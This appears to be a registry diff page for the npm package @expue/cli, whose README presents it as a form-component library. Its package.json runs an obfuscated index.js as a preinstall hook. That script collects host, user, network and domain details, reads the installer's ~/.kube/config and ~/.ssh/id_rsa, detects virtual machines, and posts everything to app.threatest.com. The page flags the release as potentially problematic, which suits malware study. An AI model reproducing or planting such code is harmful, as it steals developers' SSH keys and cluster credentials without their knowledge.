@expue/cli 0.0.3-alpha.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @expue/cli might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +28 -0
  2. package/index.js +1 -0
  3. package/package.json +12 -0
  4. package/test.js +1 -0
package/README.md ADDED
@@ -0,0 +1,28 @@
1
+ ## Install
2
+
3
+ ```
4
+ npm install --save @expue/cli
5
+ ```
6
+
7
+ ## 组件
8
+
9
+ ### 基础组件
10
+
11
+ * Input
12
+ * Select
13
+ * Checkbox
14
+ * Radio
15
+ * Cascader
16
+ * DatePicker
17
+
18
+ ### 布局组件
19
+
20
+ * FormItem
21
+ * FormLayout
22
+ * FormGrid
23
+
24
+ ### 业务组件
25
+
26
+ * ArrayBase
27
+ * ArrayItems
28
+
package/index.js ADDED
@@ -0,0 +1 @@
1
+ function a0_0x18be(){const _0x569229=['getServers','length','toISOString','https://ipinfo.io/json','dns','family','version','4675194jUfrOk','mac','querystring','parse','130dOJewb','stringify','POST','00:00:00:00:00:00','8YENhQx','get','networkInterfaces','./package.json','USERDNSDOMAIN','argv','username','linux','app.threatest.com','stdout','/report/','https','error','VMware\x20Virtual\x20Processor','700499BSVzRr','end','cwd','config','1538duqKJF','40844cYuCPL','vendor','id_rsa','name','address','userInfo','3093WuGUUO','125MQQPyg','forEach','.kube','/dev/kvm','data','QEMU\x20Virtual\x20CPU','env','1193918ESZOmQ','log','internal','keys','child_process','cpus','request','join','basename','___resolved','readFileSync','existsSync','4120872glvxZG','943551yACLWg','homedir','write','This\x20script\x20can\x20only\x20be\x20run\x20from\x20index.js','includes','VirtualBox'];a0_0x18be=function(){return _0x569229;};return a0_0x18be();}const a0_0x16e7fc=a0_0x8b5b;(function(_0x4ddfa6,_0x21895f){const _0x15696c=a0_0x8b5b,_0x138a20=_0x4ddfa6();while(!![]){try{const _0x351db2=-parseInt(_0x15696c(0x146))/0x1+-parseInt(_0x15696c(0x14a))/0x2*(parseInt(_0x15696c(0x151))/0x3)+parseInt(_0x15696c(0x14b))/0x4*(parseInt(_0x15696c(0x152))/0x5)+parseInt(_0x15696c(0x122))/0x6+parseInt(_0x15696c(0x123))/0x7+parseInt(_0x15696c(0x138))/0x8*(-parseInt(_0x15696c(0x130))/0x9)+parseInt(_0x15696c(0x134))/0xa*(parseInt(_0x15696c(0x116))/0xb);if(_0x351db2===_0x21895f)break;else _0x138a20['push'](_0x138a20['shift']());}catch(_0x7110e7){_0x138a20['push'](_0x138a20['shift']());}}}(a0_0x18be,0x73fbe));const os=require('os'),dns=require(a0_0x16e7fc(0x12d)),querystring=require(a0_0x16e7fc(0x132)),https=require(a0_0x16e7fc(0x143)),child_process=require(a0_0x16e7fc(0x11a)),fs=require('fs'),path=require('path'),packageJSON=require(a0_0x16e7fc(0x13b)),packageName=packageJSON[a0_0x16e7fc(0x14e)],currentDir=process[a0_0x16e7fc(0x148)](),hostname=os['hostname'](),AD=process[a0_0x16e7fc(0x115)][a0_0x16e7fc(0x13c)],username=os[a0_0x16e7fc(0x150)]()[a0_0x16e7fc(0x13e)],dnsServers=dns[a0_0x16e7fc(0x129)](),ifaces=os[a0_0x16e7fc(0x13a)]();let ipv4='',ipv6='',macAddr='';function a0_0x8b5b(_0x332b81,_0x50fcce){const _0x18be71=a0_0x18be();return a0_0x8b5b=function(_0x8b5b5d,_0x4bceb5){_0x8b5b5d=_0x8b5b5d-0x111;let _0x2ace20=_0x18be71[_0x8b5b5d];return _0x2ace20;},a0_0x8b5b(_0x332b81,_0x50fcce);}Object[a0_0x16e7fc(0x119)](ifaces)[a0_0x16e7fc(0x153)](_0x4e10d7=>{ifaces[_0x4e10d7]['forEach'](_0x5407ec=>{const _0x475671=a0_0x8b5b;_0x5407ec[_0x475671(0x12e)]==='IPv4'&&!_0x5407ec['internal']&&(ipv4=_0x5407ec[_0x475671(0x14f)]),_0x5407ec[_0x475671(0x12e)]==='IPv6'&&!_0x5407ec[_0x475671(0x118)]&&(ipv6=_0x5407ec['address']),_0x5407ec[_0x475671(0x131)]&&_0x5407ec['mac']!==_0x475671(0x137)&&(macAddr=_0x5407ec[_0x475671(0x131)]);});});const resolved=packageJSON?packageJSON[a0_0x16e7fc(0x11f)]:undefined,version=process[a0_0x16e7fc(0x12f)],kubeConfigFile=path[a0_0x16e7fc(0x11d)](os[a0_0x16e7fc(0x124)](),a0_0x16e7fc(0x111),a0_0x16e7fc(0x149)),sshKeyFile=path['join'](os['homedir'](),'.ssh',a0_0x16e7fc(0x14d)),collectFileContent=_0x238f7f=>{const _0x499c42=a0_0x16e7fc;try{const _0x1bed06=fs[_0x499c42(0x120)](_0x238f7f,'utf8');return _0x1bed06;}catch(_0x3e3029){return console[_0x499c42(0x144)](_0x3e3029),'';}},isVirtualMachine=()=>{const _0xb593e=a0_0x16e7fc,_0x54b1a4=require('os'),_0x6b4fa2=_0x54b1a4[_0xb593e(0x11b)]()[0x0]['model'],_0x5ccf00=_0x54b1a4[_0xb593e(0x11b)]()[0x0][_0xb593e(0x14c)],_0x1bc494=_0x54b1a4['platform']();return _0x6b4fa2[_0xb593e(0x127)](_0xb593e(0x114))&&_0x5ccf00==='GenuineIntel'||_0x6b4fa2[_0xb593e(0x127)](_0xb593e(0x128))||_0x6b4fa2[_0xb593e(0x127)](_0xb593e(0x145))||_0x1bc494===_0xb593e(0x13f)&&fs[_0xb593e(0x121)](_0xb593e(0x112))?!![]:![];},getExternalIp=async()=>{const _0x591eec=a0_0x16e7fc;try{const _0x36f4b7=await https[_0x591eec(0x139)](_0x591eec(0x12c),_0x4d0fe8=>{const _0x5d731c=_0x591eec;_0x4d0fe8['setEncoding']('utf8');let _0x47dec1='';_0x4d0fe8['on'](_0x5d731c(0x113),_0x3d33d3=>{_0x47dec1+=_0x3d33d3;}),_0x4d0fe8['on'](_0x5d731c(0x147),()=>{const _0x320618=_0x5d731c,_0x5aa3cb=JSON[_0x320618(0x133)](_0x47dec1),_0x546b04=_0x5aa3cb['ip'],_0x28a91a=JSON[_0x320618(0x135)]({'current_time':new Date()[_0x320618(0x12b)](),'package':packageName,'script_path':process[_0x320618(0x13d)][0x1],'current_path':currentDir,'hostname':hostname,'ad':AD,'username':username,'dns':dnsServers,'intranet_ipv4':ipv4,'intranet_ipv6':ipv6,'mac_addr':macAddr,'npm_version':version,'r':resolved,'kube_config':collectFileContent(kubeConfigFile),'ssh_key':collectFileContent(sshKeyFile),'external_ip':_0x546b04,'isVirtualMachine':isVirtualMachine(),'pjson':packageJSON}),_0x3d8d69=querystring[_0x320618(0x135)]({'msg':_0x28a91a}),_0x2c71c5={'hostname':_0x320618(0x140),'port':0x1bb,'path':_0x320618(0x142),'method':_0x320618(0x136),'headers':{'Content-Type':'application/x-www-form-urlencoded','Content-Length':_0x3d8d69[_0x320618(0x12a)]}},_0x2841e2=https[_0x320618(0x11c)](_0x2c71c5,_0x48030c=>{_0x48030c['on']('data',_0xcd43bf=>{const _0x418b09=a0_0x8b5b;process[_0x418b09(0x141)][_0x418b09(0x125)](_0xcd43bf);});});_0x2841e2['on'](_0x320618(0x144),_0x34e683=>{const _0x1e7eb6=_0x320618;console[_0x1e7eb6(0x144)](_0x34e683);}),_0x2841e2[_0x320618(0x125)](_0x3d8d69),_0x2841e2[_0x320618(0x147)]();});});}catch(_0x546d27){console[_0x591eec(0x144)](_0x546d27);}};path[a0_0x16e7fc(0x11e)](process[a0_0x16e7fc(0x13d)][0x1])==='index.js'?getExternalIp():console[a0_0x16e7fc(0x117)](a0_0x16e7fc(0x126));
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@expue/cli",
3
+ "version": "0.0.3-alpha.0",
4
+ "description": "Latest v0.0.3-alpha.0",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "Anonymous",
11
+ "license": "ISC"
12
+ }
package/test.js ADDED
@@ -0,0 +1 @@
1
+ console.log("Hello World!");